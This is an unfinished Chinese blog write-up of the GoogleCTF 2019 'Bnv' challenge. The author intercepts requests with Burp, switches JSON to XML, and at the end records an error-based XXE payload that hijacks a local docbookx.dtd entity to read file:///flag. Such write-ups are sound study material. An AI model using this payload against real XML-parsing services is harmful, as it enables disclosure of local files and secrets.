Loading

BUUFTC-日刷-[GoogleCTF2019 Quals]Bnv-xml-dtd(未完成

 

一个奇怪的网站,点击按钮貌似发了个包,然后接收到消息

burp抓下包看看

发现发的是一个json数据,json数据格式如下

{
    key1:value1,
    key2:value2,
    ...
}

 返回也是个json数据,我们尝试改一下发包的内容

返回发现无结果,同时观察到返回数据叫搜索值

我们尝试将这个值改为xml(至于为啥我也不清楚,json改成xml服务器也做了解析吗,没源码。。)

讲conten-type改为xml,数据也改为xml格式

 

提示没DTD,DTD就是xml一种规范格式

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
]>

<message>
135601360123502401401250
</message>

 

成功回显

 

下一步就是利用漏洞了

如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。
ubuntu系统自带/usr/share/yelp/dtd/docbookx.dtd文件

 

但是后面我buu怎么也没回显示

脚本先记下

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
        <!ENTITY &#x25;file SYSTEM "file:///flag">
        <!ENTITY &#x25;eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
'>
    %local_dtd;
]>

等有时间再来复现

 

posted @ 2021-11-25 21:34  Aninock  阅读(6)  评论(0编辑  收藏  举报